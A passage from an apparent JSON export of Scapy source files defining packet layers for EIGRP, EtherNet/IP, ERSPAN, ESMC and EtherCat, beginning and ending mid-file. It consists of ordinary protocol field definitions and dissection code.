floating point number. Valid numbers are between 0 and 255.\n\n        \"\"\"\n\n        if isinstance(x, str) and x.startswith(\"v\") and len(x) <= 8:\n            major = int(x.split(\".\")[0][1:])\n            minor = int(x.split(\".\")[1])\n\n            return (major << 8) | minor\n\n        elif isinstance(x, int) and 0 <= x <= 65535:\n            return x\n        else:\n            if not hasattr(self, \"default\"):\n                return x\n            if self.default is not None:\n                warning(\"set value to default. Format of %r is invalid\", x)\n                return self.default\n            else:\n                raise Scapy_Exception(\"Format of value is invalid\")\n\n    def randval(self):\n        return RandShort()\n\n\nclass EIGRPSwVer(EIGRPGeneric):\n    name = \"EIGRP Software Version\"\n    fields_desc = [XShortField(\"type\", 0x0004),\n                   ShortField(\"len\", 8),\n                   ShortVersionField(\"ios\", \"v12.0\"),\n                   ShortVersionField(\"eigrp\", \"v1.2\")\n                   ]\n\n\nclass EIGRPNms(EIGRPGeneric):\n    name = \"EIGRP Next Multicast Sequence\"\n    fields_desc = [XShortField(\"type\", 0x0005),\n                   ShortField(\"len\", 8),\n                   IntField(\"nms\", 2)\n                   ]\n\n\n# Don't get confused by the term \"receive-only\". This flag is always set, when you configure  # noqa: E501\n# one of the stub options. It's also the only flag set, when you configure \"eigrp stub receive-only\".  # noqa: E501\n_EIGRP_STUB_FLAGS = [\"connected\", \"static\", \"summary\", \"receive-only\", \"redistributed\", \"leak-map\"]  # noqa: E501\n\n\nclass EIGRPStub(EIGRPGeneric):\n    name = \"EIGRP Stub Router\"\n    fields_desc = [XShortField(\"type\", 0x0006),\n                   ShortField(\"len\", 6),\n                   FlagsField(\"flags\", 0x000d, 16, _EIGRP_STUB_FLAGS)]\n\n# Delay 0xffffffff == Destination Unreachable\n\n\nclass EIGRPIntRoute(EIGRPGeneric):\n    name = \"EIGRP Internal Route\"\n    fields_desc = [XShortField(\"type\", 0x0102),\n                   FieldLenField(\"len\", None, \"dst\", \"!H\", adjust=lambda pkt, x: x + 25),  # noqa: E501\n                   IPField(\"nexthop\", \"192.168.0.0\"),\n                   IntField(\"delay\", 128000),\n                   IntField(\"bandwidth\", 256),\n                   ThreeBytesField(\"mtu\", 1500),\n                   ByteField(\"hopcount\", 0),\n                   ByteField(\"reliability\", 255),\n                   ByteField(\"load\", 0),\n                   XShortField(\"reserved\", 0),\n                   ByteField(\"prefixlen\", 24),\n                   EigrpIPField(\"dst\", \"192.168.1.0\", length_from=lambda pkt: pkt.prefixlen),  # noqa: E501\n                   ]\n\n\n_EIGRP_EXTERNAL_PROTOCOL_ID = {\n    0x01: \"IGRP\",\n    0x02: \"EIGRP\",\n    0x03: \"Static Route\",\n    0x04: \"RIP\",\n    0x05: \"Hello\",\n    0x06: \"OSPF\",\n    0x07: \"IS-IS\",\n    0x08: \"EGP\",\n    0x09: \"BGP\",\n    0x0A: \"IDRP\",\n    0x0B: \"Connected Link\"\n}\n\n_EIGRP_EXTROUTE_FLAGS = [\"external\", \"candidate-default\"]\n\n\nclass EIGRPExtRoute(EIGRPGeneric):\n    name = \"EIGRP External Route\"\n    fields_desc = [XShortField(\"type\", 0x0103),\n                   FieldLenField(\"len\", None, \"dst\", \"!H\", adjust=lambda pkt, x: x + 45),  # noqa: E501\n                   IPField(\"nexthop\", \"192.168.0.0\"),\n                   IPField(\"originrouter\", \"192.168.0.1\"),\n                   IntField(\"originasn\", 0),\n                   IntField(\"tag\", 0),\n                   IntField(\"externalmetric\", 0),\n                   ShortField(\"reserved\", 0),\n                   ByteEnumField(\"extprotocolid\", 3, _EIGRP_EXTERNAL_PROTOCOL_ID),  # noqa: E501\n                   FlagsField(\"flags\", 0, 8, _EIGRP_EXTROUTE_FLAGS),\n                   IntField(\"delay\", 0),\n                   IntField(\"bandwidth\", 256),\n                   ThreeBytesField(\"mtu\", 1500),\n                   ByteField(\"hopcount\", 0),\n                   ByteField(\"reliability\", 255),\n                   ByteField(\"load\", 0),\n                   XShortField(\"reserved2\", 0),\n                   ByteField(\"prefixlen\", 24),\n                   EigrpIPField(\"dst\", \"192.168.1.0\", length_from=lambda pkt: pkt.prefixlen)  # noqa: E501\n                   ]\n\n\nclass EIGRPv6IntRoute(EIGRPGeneric):\n    name = \"EIGRP for IPv6 Internal Route\"\n    fields_desc = [XShortField(\"type\", 0x0402),\n                   FieldLenField(\"len\", None, \"dst\", \"!H\", adjust=lambda pkt, x: x + 37),  # noqa: E501\n                   IP6Field(\"nexthop\", \"::\"),\n                   IntField(\"delay\", 128000),\n                   IntField(\"bandwidth\", 256000),\n                   ThreeBytesField(\"mtu\", 1500),\n                   ByteField(\"hopcount\", 1),\n                   ByteField(\"reliability\", 255),\n                   ByteField(\"load\", 0),\n                   XShortField(\"reserved\", 0),\n                   ByteField(\"prefixlen\", 16),\n                   EigrpIP6Field(\"dst\", \"2001::\", length_from=lambda pkt: pkt.prefixlen)  # noqa: E501\n                   ]\n\n\nclass EIGRPv6ExtRoute(EIGRPGeneric):\n    name = \"EIGRP for IPv6 External Route\"\n    fields_desc = [XShortField(\"type\", 0x0403),\n                   FieldLenField(\"len\", None, \"dst\", \"!H\", adjust=lambda pkt, x: x + 57),  # noqa: E501\n                   IP6Field(\"nexthop\", \"::\"),\n                   IPField(\"originrouter\", \"192.168.0.1\"),\n                   IntField(\"originasn\", 0),\n                   IntField(\"tag\", 0),\n                   IntField(\"externalmetric\", 0),\n                   ShortField(\"reserved\", 0),\n                   ByteEnumField(\"extprotocolid\", 3, _EIGRP_EXTERNAL_PROTOCOL_ID),  # noqa: E501\n                   FlagsField(\"flags\", 0, 8, _EIGRP_EXTROUTE_FLAGS),\n                   IntField(\"delay\", 0),\n                   IntField(\"bandwidth\", 256000),\n                   ThreeBytesField(\"mtu\", 1500),\n                   ByteField(\"hopcount\", 1),\n                   ByteField(\"reliability\", 0),\n                   ByteField(\"load\", 1),\n                   XShortField(\"reserved2\", 0),\n                   ByteField(\"prefixlen\", 8),\n                   EigrpIP6Field(\"dst\", \"::\", length_from=lambda pkt: pkt.prefixlen)  # noqa: E501\n                   ]\n\n\n_eigrp_tlv_cls = {\n    0x0001: \"EIGRPParam\",\n    0x0002: \"EIGRPAuthData\",\n    0x0003: \"EIGRPSeq\",\n    0x0004: \"EIGRPSwVer\",\n    0x0005: \"EIGRPNms\",\n    0x0006: \"EIGRPStub\",\n    0x0102: \"EIGRPIntRoute\",\n    0x0103: \"EIGRPExtRoute\",\n    0x0402: \"EIGRPv6IntRoute\",\n    0x0403: \"EIGRPv6ExtRoute\"\n}\n\n\ndef _EIGRPGuessPayloadClass(p, **kargs):\n    cls = conf.raw_layer\n    if len(p) >= 2:\n        t = struct.unpack(\"!H\", p[:2])[0]\n        clsname = _eigrp_tlv_cls.get(t, \"EIGRPGeneric\")\n        cls = globals()[clsname]\n    return cls(p, **kargs)\n\n\n_EIGRP_OPCODES = {1: \"Update\",\n                  2: \"Request\",\n                  3: \"Query\",\n                  4: \"Replay\",\n                  5: \"Hello\",\n                  6: \"IPX SAP\",\n                  10: \"SIA Query\",\n                  11: \"SIA Reply\"}\n\n# The Conditional Receive bit is used for reliable multicast communication.\n# Update-Flag: Not sure if Cisco calls it that way, but it's set when neighbors\n# are exchanging routing information\n_EIGRP_FLAGS = [\"init\", \"cond-recv\", \"unknown\", \"update\"]\n\n\nclass EIGRP(Packet):\n    name = \"EIGRP\"\n    fields_desc = [ByteField(\"ver\", 2),\n                   ByteEnumField(\"opcode\", 5, _EIGRP_OPCODES),\n                   XShortField(\"chksum\", None),\n                   FlagsField(\"flags\", 0, 32, _EIGRP_FLAGS),\n                   IntField(\"seq\", 0),\n                   IntField(\"ack\", 0),\n                   IntField(\"asn\", 100),\n                   PacketListField(\"tlvlist\", [], _EIGRPGuessPayloadClass)\n                   ]\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.chksum is None:\n            c = checksum(p)\n            p = p[:2] + chb((c >> 8) & 0xff) + chb(c & 0xff) + p[4:]\n        return p\n\n    def mysummary(self):\n        summarystr = \"EIGRP (AS=%EIGRP.asn% Opcode=%EIGRP.opcode%\"\n        if self.opcode == 5 and self.ack != 0:\n            summarystr += \" (ACK)\"\n        if self.flags != 0:\n            summarystr += \" Flags=%EIGRP.flags%\"\n\n        return self.sprintf(summarystr + \")\")\n\n\nbind_layers(IP, EIGRP, proto=88)\nbind_layers(IPv6, EIGRP, nh=88)\n"
  },
  {
    "path": "scapy/contrib/enipTCP.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2019 Jose Diogo Monteiro <jdlopes@student.dei.uc.pt>\n# Updated (C) 2023 Claire Vacherot <clairelex@pm.me>\n\n# scapy.contrib.description = EtherNet/IP\n# scapy.contrib.status = loads\n\n\"\"\"\nEtherNet/IP (Industrial Protocol)\n\nBased on https://github.com/scy-phy/scapy-cip-enip\nEtherNet/IP Home: www.odva.org\n\"\"\"\n\nimport struct\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.inet import TCP\nfrom scapy.fields import LEShortField, LEShortEnumField, LEIntEnumField, \\\n    LEIntField, LELongField, FieldLenField, PacketListField, ByteField, \\\n    StrLenField, StrFixedLenField, XLEIntField, XLEStrLenField, \\\n    LEFieldLenField, ShortField, IPField, LongField, XLEShortField\n\n_commandIdList = {\n    0x0001: \"UnknownCommand\",\n    0x0004: \"ListServices\",  # Request Struct Don't Have Command Spec Data\n    0x0063: \"ListIdentity\",  # Request Struct Don't Have Command Spec Data\n    0x0064: \"ListInterfaces\",  # Request Struct Don't Have Command Spec Data\n    0x0065: \"RegisterSession\",  # Request Structure = Reply Structure\n    0x0066: \"UnregisterSession\",  # Don't Have Command Specific Data\n    0x006f: \"SendRRData\",  # Request Structure = Reply Structure\n    0x0070: \"SendUnitData\",  # There is no reply\n    0x0072: \"IndicateStatus\",\n    0x0073: \"Cancel\"\n}\n\n_statusList = {\n    0: \"success\",\n    1: \"invalid_cmd\",\n    2: \"no_resources\",\n    3: \"incorrect_data\",\n    100: \"invalid_session\",\n    101: \"invalid_length\",\n    105: \"unsupported_prot_rev\"\n}\n\n_typeIdList = {\n    0x0000: \"Null Address Item\",\n    0x000c: \"CIP Identity\",\n    0x0086: \"CIP Security Information\",\n    0x0087: \"EtherNet/IP Capability\",\n    0x0088: \"EtherNet/IP Usage\",\n    0x00a1: \"Connected Address Item\",\n    0x00B1: \"Connected Data Item\",\n    0x00B2: \"Unconnected Data Item\",\n    0x0100: \"List Services Response\",\n    0x8000: \"Socket Address Info O->T\",\n    0x8001: \"Socket Address Info T->O\",\n    0x8002: \"Sequenced Address Item\",\n    0x8003: \"Unconnected Message over UDP\"\n}\n\n_deviceTypeList = {\n    0x0000: \"Generic Device (deprecated)\",\n    0x0002: \"AC Drive\",\n    0x0003: \"Motor Overload\",\n    0x0004: \"Limit Switch\",\n    0x0005: \"Inductive Proximity Switch\",\n    0x0006: \"Photoelectric Sensor\",\n    0x0007: \"General Purpose Discrete I/O\",\n    0x0009: \"Resolver\",\n    0x000C: \"Communications Adapter\",\n    0x000E: \"Programmable Logic Controller\",\n    0x0010: \"Position Controller\",\n    0x0013: \"DC Drive\",\n    0x0015: \"Contactor\",\n    0x0016: \"Motor Starter\",\n    0x0017: \"Soft Start\",\n    0x0018: \"Human-Machine Interface\",\n    0x001A: \"Mass Flow Controller\",\n    0x001B: \"Pneumatic Valve\",\n    0x001C: \"Vacuum Pressure Gauge\",\n    0x001D: \"Process Control Value\",\n    0x001E: \"Residual Gas Analyzer\",\n    0x001F: \"DC Power Generator\",\n    0x0020: \"RF Power Generator\",\n    0x0021: \"Turbomolecular Vacuum Pump\",\n    0x0022: \"Encoder\",\n    0x0023: \"Safety Discrete I/O Device\",\n    0x0024: \"Fluid Flow Controller\",\n    0x0025: \"CIP Motion Drive\",\n    0x0026: \"CompoNet Repeater\",\n    0x0027: \"Mass Flow Controller, Enhanced\",\n    0x0028: \"CIP Modbus Device\",\n    0x0029: \"CIP Modbus Translator\",\n    0x002A: \"Safety Analog I/O Device\",\n    0x002B: \"Generic Device (keyable)\",\n    0x002C: \"Managed Ethernet Switch\",\n    0x002D: \"CIP Motion Safety Drive Device\",\n    0x002E: \"Safety Drive Device\",\n    0x002F: \"CIP Motion Encoder\",\n    0x0030: \"CIP Motion Converter\",\n    0x0031: \"CIP Motion I/O\",\n    0x0032: \"ControlNet Physical Layer Component\",\n    0x0033: \"Circuit Breaker\",\n    0x0034: \"HART Device\",\n    0x0035: \"CIP-HART Translator\",\n    0x00C8: \"Embedded Component\",\n}\n\n_interfaceList = {\n    0x00: \"CIP\"\n}\n\n\nclass ItemData(Packet):\n    \"\"\"Common Packet Format\"\"\"\n    name = \"Item Data\"\n    fields_desc = [\n        LEShortEnumField(\"typeId\", 0, _typeIdList),\n        LEShortField(\"length\", 0),\n        XLEStrLenField(\"data\", \"\", length_from=lambda pkt: pkt.length),\n    ]\n\n    def extract_padding(self, s):\n        return '', s\n\n\n# Unknown command (0x0001)\n\n\nclass ENIPUnknownCommand(Packet):\n    \"\"\"Unknown Command reply\"\"\"\n    name = \"ENIPUnknownCommand\"\n    pass\n\n\n# List services (0x0004)\n\n\nclass ENIPListServicesItem(Packet):\n    \"\"\"List Services Item Field\"\"\"\n    name = \"ENIPListServicesItem\"\n    fields_desc = [\n        LEShortEnumField(\"itemTypeCode\", 0, _typeIdList),\n        LEFieldLenField(\"itemLength\", 0),\n        LEShortField(\"protocolVersion\", 0),\n        XLEShortField(\"flag\", 0),  # TODO: detail with BitFields\n        StrFixedLenField(\"serviceName\", None, 16),\n    ]\n\n\nclass ENIPListServices(Packet):\n    \"\"\"List Services Command Field\"\"\"\n    name = \"ENIPListServices\"\n    fields_desc = [\n        FieldLenField(\"itemCount\", 0, count_of=\"items\"),\n        PacketListField(\"items\", None, ENIPListServicesItem),\n    ]\n\n\n# List identity (0x0063)\n\n\nclass ENIPListIdentityItem(Packet):\n    \"\"\"List Identity Item Fields\"\"\"\n    name = \"ENIPListIdentityReplyItem\"\n    fields_desc = [\n        LEShortEnumField(\"itemTypeCode\", 0, _typeIdList),\n        LEFieldLenField(\"itemLength\", 0),\n        LEShortField(\"protocolVersion\", 0),\n        # Socket address\n        ShortField(\"sinFamily\", 0),\n        ShortField(\"sinPort\", 0),\n        IPField(\"sinAddress\", None),\n        LongField(\"sinZero\", 0),\n        # End socket address\n        LEShortField(\"vendorId\", 0),  # Vendor list could be added (long list)\n        LEShortEnumField(\"deviceType\", 0, _deviceTypeList),\n        LEShortField(\"productCode\", 0),\n        ByteField(\"revisionMajor\", 0),\n        ByteField(\"revisionMinor\", 0),\n        LEShortField(\"status\", 0),\n        XLEIntField(\"serialNumber\", 0),\n        ByteField(\"productNameLength\", 0),\n        StrLenField(\"productName\", None,\n                    length_from=lambda pkt: pkt.productNameLength),\n        ByteField(\"state\", 0)\n    ]\n\n\nclass ENIPListIdentity(Packet):\n    \"\"\"List identity request and response\"\"\"\n    name = \"ENIPListIdentity\"\n    fields_desc = [\n        FieldLenField(\"itemCount\", 0, count_of=\"items\"),\n        PacketListField(\"items\", None, ENIPListIdentityItem)\n    ]\n\n\n# List Interfaces (0x0064)\n\n\nclass ENIPListInterfacesItem(Packet):\n    \"\"\"List Interfaces Item Fields\"\"\"\n    name = \"ENIPListInterfacesItem\"\n    fields_desc = [\n        LEShortEnumField(\"itemTypeCode\", 0, _typeIdList),\n        FieldLenField(\"itemLength\", 0, length_of=\"itemData\"),\n        # TODO: Could be detailed\n        StrLenField(\"itemData\", \"\", length_from=lambda pkt: pkt.itemLength),\n    ]\n\n\nclass ENIPListInterfaces(Packet):\n    \"\"\"List Interfaces Command Field\"\"\"\n    name = \"ENIPListInterfaces\"\n    fields_desc = [\n        FieldLenField(\"itemCount\", 0, count_of=\"items\"),\n        PacketListField(\"items\", None, ENIPListInterfacesItem),\n    ]\n\n\n# Register Session (0x0065)\n\n\nclass ENIPRegisterSession(Packet):\n    \"\"\"Register Session Command Field\"\"\"\n    name = \"ENIPRegisterSession\"\n    fields_desc = [\n        LEShortField(\"protocolVersion\", 1),\n        LEShortField(\"options\", 0)\n    ]\n\n\n# Unregister Session (0x0066) -- Requires further testing\n\n\nclass ENIPUnregisterSession(Packet):\n    \"\"\"Unregister Session Command Field\"\"\"\n    name = \"ENIPUnregisterSession\"\n    pass\n\n\n# Send RR Data (0x006f)\n\n\nclass ENIPSendRRData(Packet):\n    \"\"\"Send RR Data Command Field\"\"\"\n    name = \"ENIPSendRRData\"\n    fields_desc = [\n        LEIntEnumField(\"interface\", 0, _interfaceList),\n        LEShortField(\"timeout\", 0xff),\n        LEFieldLenField(\"itemCount\", 0, count_of=\"items\"),\n        PacketListField(\"items\", None, ItemData)\n        # TODO: Send RR Data is usually followed by a CIP packet\n    ]\n\n\n# Send Unit Data (0x006f)\n\n\nclass ENIPSendUnitData(Packet):\n    \"\"\"Send Unit Data Command Field\"\"\"\n    name = \"ENIPSendUnitData\"\n    fields_desc = [\n        LEIntEnumField(\"interface\", 0, _interfaceList),\n        LEShortField(\"timeout\", 0xff),\n        LEFieldLenField(\"itemCount\", 0, count_of=\"items\"),\n        PacketListField(\"items\", None, ItemData)\n    ]\n\n\n# Main Ethernet/IP packet structure with header\n\n\nclass ENIPTCP(Packet):\n    \"\"\"Ethernet/IP packet over TCP\"\"\"\n    name = \"ENIPTCP\"\n    fields_desc = [\n        LEShortEnumField(\"commandId\", None, _commandIdList),\n        LEShortField(\"length\", 0),\n        XLEIntField(\"session\", 0),\n        LEIntEnumField(\"status\", None, _statusList),\n        LELongField(\"senderContext\", 0),\n        LEIntField(\"options\", 0),\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.length is None and pay:\n            pkt = pkt[:2] + struct.pack(\"<H\", len(pay)) + pkt[4:]\n        return pkt + pay\n\n\nbind_layers(TCP, ENIPTCP, dport=44818)\nbind_layers(TCP, ENIPTCP, sport=44818)\n\nbind_layers(ENIPTCP, ENIPUnknownCommand, commandId=0x0001)\nbind_layers(ENIPTCP, ENIPListServices, commandId=0x0004)\nbind_layers(ENIPTCP, ENIPListIdentity, commandId=0x0063)\nbind_layers(ENIPTCP, ENIPListInterfaces, commandId=0x0064)\nbind_layers(ENIPTCP, ENIPRegisterSession, commandId=0x0065)\nbind_layers(ENIPTCP, ENIPUnregisterSession, commandId=0x0066)\nbind_layers(ENIPTCP, ENIPSendRRData, commandId=0x006f)\nbind_layers(ENIPTCP, ENIPSendUnitData, commandId=0x0070)\n"
  },
  {
    "path": "scapy/contrib/erspan.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nERSPAN - Encapsulated Remote SPAN\n\nhttps://datatracker.ietf.org/doc/html/draft-foschiano-erspan-03\n\"\"\"\n\n# scapy.contrib.description = ERSPAN - Encapsulated Remote SPAN\n# scapy.contrib.status = loads\n\n# This file inspired by scapy-vxlan\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import BitField, BitEnumField, XIntField, \\\n    XShortField\nfrom scapy.layers.l2 import Ether, GRE\n\n\nclass ERSPAN(Packet):\n    \"\"\"\n    A generic ERSPAN packet\n    \"\"\"\n    name = \"ERSPAN\"\n    fields_desc = []\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt:\n            ver = _pkt[0] >> 4\n            if ver == 1:\n                return ERSPAN_II\n            elif ver == 2:\n                return ERSPAN_III\n            else:\n                return ERSPAN_I\n        if cls == ERSPAN:\n            return ERSPAN_II\n        return cls\n\n\nclass ERSPAN_I(ERSPAN):\n    name = \"ERSPAN I\"\n    match_subclass = True\n    fields_desc = []\n\n\nclass ERSPAN_II(ERSPAN):\n    name = \"ERSPAN II\"\n    match_subclass = True\n    fields_desc = [BitField(\"ver\", 1, 4),\n                   BitField(\"vlan\", 0, 12),\n                   BitField(\"cos\", 0, 3),\n                   BitField(\"en\", 0, 2),\n                   BitField(\"t\", 0, 1),\n                   BitField(\"session_id\", 0, 10),\n                   BitField(\"reserved\", 0, 12),\n                   BitField(\"index\", 0, 20),\n                   ]\n\n\nclass ERSPAN_III(ERSPAN):\n    name = \"ERSPAN III\"\n    match_subclass = True\n    fields_desc = [BitField(\"ver\", 2, 4),\n                   BitField(\"vlan\", 0, 12),\n                   BitField(\"cos\", 0, 3),\n                   BitField(\"bso\", 0, 2),\n                   BitField(\"t\", 0, 1),\n                   BitField(\"session_id\", 0, 10),\n                   XIntField(\"timestamp\", 0x00000000),\n                   XShortField(\"sgt_other\", 0x00000000),\n                   BitField(\"p\", 0, 1),\n                   BitEnumField(\"ft\", 0, 5,\n                                {0: \"Ethernet\", 2: \"IP\"}),\n                   BitField(\"hw\", 0, 6),\n                   BitField(\"d\", 0, 1),\n                   BitEnumField(\"gra\", 0, 2,\n                                {0: \"100us\", 1: \"100ns\", 2: \"IEEE 1588\"}),\n                   BitField(\"o\", 0, 1)\n                   ]\n\n\nclass ERSPAN_PlatformSpecific(Packet):\n    name = \"PlatformSpecific\"\n    fields_desc = [BitField(\"platf_id\", 0, 6),\n                   BitField(\"info1\", 0, 26),\n                   XIntField(\"info2\", 0x00000000)]\n\n\nbind_layers(ERSPAN_I, Ether)\nbind_layers(ERSPAN_II, Ether)\nbind_layers(ERSPAN_III, Ether, o=0)\nbind_layers(ERSPAN_III, ERSPAN_PlatformSpecific, o=1)\nbind_layers(ERSPAN_PlatformSpecific, Ether)\n\nbind_layers(GRE, ERSPAN, proto=0x88be, seqnum_present=0)\nbind_layers(GRE, ERSPAN_II, proto=0x88be, seqnum_present=1)\nbind_layers(GRE, ERSPAN_III, proto=0x22eb)\n"
  },
  {
    "path": "scapy/contrib/esmc.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Ethernet Synchronization Message Channel (ESMC)\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import BitField, ByteField, XByteField, ShortField, XStrFixedLenField  # noqa: E501\nfrom scapy.contrib.slowprot import SlowProtocol\nfrom scapy.compat import orb\n\n\nclass ESMC(Packet):\n    name = \"ESMC\"\n    fields_desc = [\n        XStrFixedLenField(\"ituOui\", b\"\\x00\\x19\\xa7\", 3),\n        ShortField(\"ituSubtype\", 1),\n        BitField(\"version\", 1, 4),\n        BitField(\"event\", 0, 1),\n        BitField(\"reserved1\", 0, 3),\n        XStrFixedLenField(\"reserved2\", b\"\\x00\" * 3, 3),\n    ]\n\n    def guess_payload_class(self, payload):\n        if orb(payload[0]) == 1:\n            return QLTLV\n        if orb(payload[0]) == 2:\n            return EQLTLV\n        return Packet.guess_payload_class(self, payload)\n\n\nclass QLTLV(ESMC):\n    name = \"QLTLV\"\n    fields_desc = [\n        ByteField(\"type\", 1),\n        ShortField(\"length\", 4),\n        XByteField(\"ssmCode\", 0xf),\n    ]\n\n\nclass EQLTLV(ESMC):\n    name = \"EQLTLV\"\n    fields_desc = [\n        ByteField(\"type\", 2),\n        ShortField(\"length\", 0x14),\n        XByteField(\"enhancedSsmCode\", 0xFF),\n        XStrFixedLenField(\"clockIdentity\", b\"\\x00\" * 8, 8),\n        ByteField(\"flag\", 0),\n        ByteField(\"cascaded_eEEcs\", 1),\n        ByteField(\"cascaded_EEcs\", 0),\n        XStrFixedLenField(\"reserved\", b\"\\x00\" * 5, 5),\n    ]\n\n\nbind_layers(SlowProtocol, ESMC, subtype=10)\n"
  },
  {
    "path": "scapy/contrib/ethercat.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = EtherCat\n# scapy.contrib.status = loads\n\n\"\"\"\n    EtherCat automation protocol\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    :author:    Thomas Tannhaeuser, hecke@naberius.de\n\n    :description:\n\n        This module provides Scapy layers for the EtherCat protocol.\n\n        normative references:\n            - IEC 61158-3-12 - data link service and topology description\n            - IEC 61158-4-12 - protocol specification\n\n        Currently only read/write services as defined in IEC 61158-4-12,\n        sec. 5.4 are supported.\n\n    :TODO:\n\n        - Mailbox service (sec. 5.5)\n        - Network variable service (sec. 5.6)\n\n    :NOTES:\n\n        - EtherCat frame type defaults to TYPE-12-PDU (0x01) using xxx bytes\n          of padding\n        - padding for minimum frame size is added automatically\n\n\"\"\"\n\n\nimport struct\n\n\nfrom scapy.compat import raw\nfrom scapy.error import log_runtime, Scapy_Exception\nfrom scapy.fields import BitField, ByteField, LEShortField, FieldListField, \\\n    LEIntField, FieldLenField, _EnumField, EnumField\nfrom scapy.layers.l2 import Ether, Dot1Q\nfrom scapy.packet import bind_layers, Packet, Padding\n\n'''\nEtherCat uses some little endian bitfields without alignment to any common boundaries.  # noqa: E501\nSee https://github.com/secdev/scapy/pull/569#issuecomment-295419176 for a short explanation  # noqa: E501\nwhy the following field definitions are necessary.\n'''\n\n\nclass LEBitFieldSequenceException(Scapy_Exception):\n    \"\"\"\n    thrown by EtherCat structure tests\n    \"\"\"\n    pass\n\n\nclass LEBitField(BitField):\n    \"\"\"\n    a little endian version of the BitField\n    \"\"\"\n\n    def _check_field_type(self, pkt, index):\n        \"\"\"\n        check if the field addressed by given index relative to this field\n        shares type of this field so we can catch a mix of LEBitField\n        and BitField/other types\n        \"\"\"\n        my_idx = pkt.fields_desc.index(self)\n        try:\n            next_field = pkt.fields_desc[my_idx + index]\n            if type(next_field) is not LEBitField and \\\n               next_field.__class__.__base__ is not LEBitField:\n                raise LEBitFieldSequenceException('field after field {} must '\n                                                  'be of type LEBitField or '\n                                                  'derived classes'.format(self.name))  # noqa: E501\n        except IndexError:\n            # no more fields -> error\n            raise LEBitFieldSequenceException('Missing further LEBitField '\n                                              'based fields after field '\n                                              '{} '.format(self.name))\n\n    def addfield(self, pkt, s, val):\n        \"\"\"\n\n        :param pkt: packet instance the raw string s and field belongs to\n        :param s:   raw string representing the frame\n        :param val: value\n        :return: final raw string, tuple (s, bitsdone, data) if in between bit field  # noqa: E501\n\n        as we don't know the final size of the full bitfield we need to accumulate the data.  # noqa: E501\n        if we reach a field that ends at a octet boundary, we build the whole string  # noqa: E501\n\n        \"\"\"\n        if type(s) is tuple and len(s) == 4:\n            s, bitsdone, data, _ = s\n            self._check_field_type(pkt, -1)\n        else:\n            # this is the first bit field in the set\n            bitsdone = 0\n            data = []\n\n        bitsdone += self.size\n        data.append((self.size, self.i2m(pkt, val)))\n\n        if bitsdone % 8:\n            # somewhere in between bit 0 .. 7 - next field should add more bits...  # noqa: E501\n            self._check_field_type(pkt, 1)\n            return s, bitsdone, data, type(LEBitField)\n        else:\n            data.reverse()\n            octet = 0\n            remaining_len = 8\n            octets = bytearray()\n            for size, val in data:\n\n                while True:\n                    if size < remaining_len:\n                        remaining_len = remaining_len - size\n                        octet |= val << remaining_len\n                        break\n\n                    elif size > remaining_len:\n                        # take the leading bits and add them to octet\n                        size -= remaining_len\n                        octet |= val >> size\n                        octets = struct.pack('!B', octet) + octets\n\n                        octet = 0\n                        remaining_len = 8\n                        # delete all consumed bits\n                        # TODO: do we need to add a check for bitfields > 64 bits to catch overruns here?  # noqa: E501\n                        val &= ((2 ** size) - 1)\n                        continue\n                    else:\n                        # size == remaining len\n                        octet |= val\n                        octets = struct.pack('!B', octet) + octets\n                        octet = 0\n                        remaining_len = 8\n                        break\n\n        return s + octets\n\n    def getfield(self, pkt, s):\n\n        \"\"\"\n        extract data from raw str\n\n        collect all instances belonging to the bit field set.\n        if we reach a field that ends at a octet boundary, dissect the whole bit field at once  # noqa: E501\n\n        :param pkt: packet instance the field belongs to\n        :param s: raw string representing the frame -or- tuple containing raw str, number of bits and array of fields  # noqa: E501\n        :return: tuple containing raw str, number of bits and array of fields -or- remaining raw str and value of this  # noqa: E501\n        \"\"\"\n\n        if type(s) is tuple and len(s) == 3:\n            s, bits_in_set, fields = s\n        else:\n            bits_in_set = 0\n            fields = []\n\n        bits_in_set += self.size\n\n        fields.append(self)\n\n        if bits_in_set % 8:\n            # we are in between the bitfield\n            return (s, bits_in_set, fields), None\n\n        else:\n            cur_val = 0\n            cur_val_bit_idx = 0\n            this_val = 0\n\n            field_idx = 0\n            field = fields[field_idx]\n            field_required_bits = field.size\n            idx = 0\n\n            s = bytearray(s)\n            bf_total_byte_length = bits_in_set // 8\n\n            for octet in s[0:bf_total_byte_length]:\n                idx += 1\n\n                octet_bits_left = 8\n\n                while octet_bits_left:\n\n                    if field_required_bits == octet_bits_left:\n                        # whole field fits into remaining bits\n                        # as this also signals byte-alignment this should exit the inner and outer loop  # noqa: E501\n                        cur_val |= octet << cur_val_bit_idx\n                        pkt.fields[field.name] = cur_val\n\n                        '''\n                        TODO: check if do_dessect() needs a non-None check for assignment to raw_packet_cache_fields  # noqa: E501\n\n                        setfieldval() is evil as it sets raw_packet_cache_fields to None - but this attribute  # noqa: E501\n                        is accessed in do_dissect() without checking for None... exception is caught and the  # noqa: E501\n                        user ends up with a layer decoded as raw...\n\n                        pkt.setfieldval(field.name, int(bit_str[:field.size], 2))  # noqa: E501\n                        '''\n\n                        octet_bits_left = 0\n\n                        this_val = cur_val\n\n                    elif field_required_bits < octet_bits_left:\n                        # pick required bits\n                        cur_val |= (octet & ((2 ** field_required_bits) - 1)) << cur_val_bit_idx  # noqa: E501\n                        pkt.fields[field.name] = cur_val\n\n                        # remove consumed bits\n                        octet >>= field_required_bits\n                        octet_bits_left -= field_required_bits\n\n                        # and move to the next field\n                        field_idx += 1\n                        field = fields[field_idx]\n                        field_required_bits = field.size\n                        cur_val_bit_idx = 0\n                        cur_val = 0\n\n                    elif field_required_bits > octet_bits_left:\n                        # take 